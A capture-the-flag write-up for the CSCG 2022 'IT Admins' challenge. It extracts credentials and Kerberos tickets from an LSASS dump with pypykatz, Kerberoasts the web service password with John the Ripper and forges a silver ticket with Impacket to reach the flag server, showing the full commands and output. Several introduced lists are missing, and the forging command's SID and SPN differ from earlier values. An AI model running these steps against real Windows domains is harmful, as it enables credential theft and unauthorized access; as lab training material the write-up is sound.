CSCG: IT Admins

This is my first writeup for the Cybersecurity Challenge Germany (CSCG) in 2022.

You are testing the security of the CSCG organization and managed to grab an LSASS dump of one of our admins. Can you reach the admin panel?

Category: Misc

Flag: CSCG{3a686da7ab9360debb2d09dce7f7b2e9}

Writeup

We receive a file called lsass.dmp. We inspect it using file:

$ file lsass.dmp
lsass.dmp: Mini DuMP crash report, 11 streams, Sun Jan 30 22:38:48 2022, 0x1826 type

We see that the file contains some memory of the lsass.exe process of a windows machine. lsass is short for “Local Security Authority Subsystem Service” which is responsible for enforcing the security policy on the system [1]. When getting access to a Windows machine, it is common to create an lsass minidump to extract security-relevant information such as credentials or Kerberos tickets.

Next, we look at the challenge server. When making a HTTP request to the server, we get the following error:

This gives us two pieces of information:

Using mimikatz [3] or its Python reimplementation pypykatz [4], we first dump cached hashes and credentials (I left out the uninteresting parts of the output):

$ pypykatz lsa minidump lsass.dmp
[...]
== LogonSession ==
authentication_id 794255 (c1e8f)
session_id 1
username tobey
domainname CSCG
logon_server MINT
logon_time 2022-01-30T21:08:32.370580+00:00
sid S-1-5-21-2728977648-1687321919-392037978-1106
luid 794255
    [...]
    == WDIGEST [c1e8f]==
            username tobey
            domainname CSCG
            password aWsh9s2K4NSMWbvLtwYUCyKDVn2A3L
            password (hex)[...]
    [...]
[...]

We see that a user tobey is logged in at machine MINT in domain CSCG.LOCAL with password aWsh9s2K4NSMWbvLtwYUCyKDVn2A3L. Next, let’s look at the stored Kerberos tickets:

$ mkdir kerberos_tickets && pypykatz lsa minidump lsass.dmp -k kerberos_tickets
[...]
$ cd kerberos_tickets && ls
lsass.dmp_15916aa5.ccache
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_LDAP_mint.cscg.local_71c1d32b.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_1d4ade1e.kirbi'
TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_ldap_mint.cscg.local_cscg.local_1598fa77.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_1f60e360.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_cifs_mint.cscg.local_68e19618.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_ldap_mint.cscg.local_cscg.local_5e84e06e.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_9ea85300.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_cifs_mint.cscg.local_e3bccd8a.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_WIN-HE4QK927VS3$_9e686930.kirbi'
'TGT_CSCG.LOCAL_WIN-HE4QK927VS3$_krbtgt_CSCG.LOCAL_ea4b866f.kirbi'
'TGS_CSCG.LOCAL_WIN-HE4QK927VS3$_DNS_mint.cscg.local_cfc78dd1.kirbi'
TGT_CSCG.LOCAL_tobey_krbtgt_CSCG.LOCAL_1bacf975.kirbi

Two tickets immediately stand out: TGT_CSCG.LOCAL_tobey_krbtgt_CSCG.LOCAL_1bacf975.kirbi which is the TGT of user tobey as well as TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi which is the TGS for the webserver. Since we have no KDC, we the TGT is not useful to us here. Let’s convert the TGS to a .ccache file and inspect it:

$ kirbi2ccache TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache
INFO:root:Parsing kirbi file TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.kirbi
INFO:root:Done!
$ KRB5CCNAME=TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache klist
Ticket cache: FILE:TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache
Default principal: tobey@CSCG.LOCAL

Valid starting       Expires              Service principal
30.01.2022 23:13:10  31.01.2022 09:07:58  HTTP/itadmin.cscg.local@CSCG.LOCAL

We see that this was a valid TGS at the end of january, but how can we get a ticket that is valid right now? For that, let’s look at how Kerberos works: A TGS is some piece of information that is encrypted symmetrically with the shared secret of the KDC and the service. In reality, this shared secret corresponds to the NTLM hash of the service’s password. Since the webserver service uses a domain account, its password may be weak. In that case, we could crack it offline using a wordlist.

We can use John the Ripper with rockyou.txt as our wordlist:

$ ccache2john TGS_CSCG.LOCAL_tobey_HTTP_itadmin.cscg.local_306580c9.ccache > hash.txt
WARNING: Not all the hashes generated by this program are crackable. Please select the relevant hashes manually!
$ john hash.txt --wordlist=/share/tools/rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#dare2stealmapassword# (HTTP-itadmin.cscg.local)     
1g 0:00:00:07 DONE (2022-03-23 11:55) 0.1386g/s 1987Kp/s 1987Kc/s 1987KC/s $#$BAYB-HOOPZ$#$..#children7#
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

As we can see, the webserver password is #dare2stealmapassword#. Therefore, we can create a new TGS, authenticate to the webserver and get the flag:

$ pypykatz crypto nt '#dare2stealmapassword#'
0fea42897a16fdab918d8a82f6de26a0
$ ticketer.py -domain cscg.local -domain-sid S-1-5-21-2728977648-1687321919-39203797 -nthash 0fea42897a16fdab918d8a82f6de26a0 -spn HTTP/master1.cscg.live tobey
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for cscg.local/tobey
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in tobey.ccache
$ KRB5CCNAME=tobey.ccache curl -u : --negotiate https://3f3760b31b84314dd04e07b7-it-admins.challenge.master.cscg.live:31337/
Welcome, IT admin!<br>
Please, have a flag: CSCG{3a686da7ab9360debb2d09dce7f7b2e9}

Two notes on this command:

Attack vector

The attack of obtaining a TGS and cracking the password offline is called Kerberoasting [5].

As in the challenge, the general targets are domain service accounts in a Windows environment. These service accounts are different from regular user accounts because they have a Service Principal Name set. Any user with a valid TGT can request a TGS for these services since it is upon the services to authorize the users. As shown, the ticket can be used to crack the service’s password offline.

There are two possible mitigations that protect against Kerberoasting:

Sources

[1] https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service

[2] https://docs.microsoft.com/en-us/dotnet/framework/wcf/feature-details/understanding-http-authentication

[3] https://github.com/ParrotSec/mimikatz

[4] https://github.com/skelsec/pypykatz

[5] https://www.scip.ch/?labs.20181011